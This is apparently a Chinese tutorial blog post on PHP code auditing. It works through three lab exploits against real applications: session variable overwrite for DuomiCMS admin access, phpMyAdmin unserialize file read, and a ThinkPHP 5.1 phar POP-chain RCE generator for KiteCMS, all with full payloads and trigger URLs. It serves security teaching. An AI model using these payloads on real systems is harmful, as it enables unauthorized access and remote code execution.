DAY109代码审计-PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

知识点

1、PHP审计-动态调试-变量覆盖

2、PHP审计-动态调试-原生反序列化

3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:

select insert update  delete mysql_query mysqli等

文件上传:

$_FILES,type="file",上传,move_uploaded_file()等

XSS跨站:

print print_r echo sprintf die var_dump var_export等

文件包含:

include include_once require require_once等

代码执行:

eval assert preg_replace call_user_func call_user_func_array等

命令执行:

system exec shell_exec `` passthru pcntl_exec popen proc_open

变量覆盖:

extract() parse_str() importrequestvariables() $$ 等

反序列化:

serialize() unserialize() __construct __destruct等

其他漏洞:

unlink() file_get_contents() show_source() file() fopen()等

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

2、找一个利用点(后台登录点覆盖session

login.php->checkuser()->keepUser()

duomiphp/common.php

$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;

3、动态调试获取保持登录当前的session

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

member/exchange.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php

$configuration = unserialize($_POST['configuration']);

2、找直接调用魔术方法__wakeup()

libraries/common.lib.php

触发:$_SESSION['PMA_Config']->__wakeup();

libraries/Config.class.php

触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

loade:eval执行file_get_contents

4、构造pop链发包触发文件读取

<?php

class PMA_Config{

var $source = 'd:/1.txt';

}

$p=new PMA_Config();

echo serialize($p);

?>

触发:

Post:/scripts/setup.php

action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

​php phpggc -l thinkphp

3、使用PHPGGC模版生成Phar文件

参考:phar反序列化 - My_Dreams - 博客园

/phpggc-master/gadgetchains/ThinkPHP/RCE/1

调用链:gadgets.php

触发生成:chain.php

phar利用条件

phar文件要能够上传到服务器端。

如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

xiaodi.php
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");
        public function get()
        {
            $this->data = array("smi1e" => "notepad");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    $phar = new Phar('xiaodi.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

4、找个上传文件地方后上传xiaodi.png

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php

scanFiles、scanFilesForTree

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

http://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值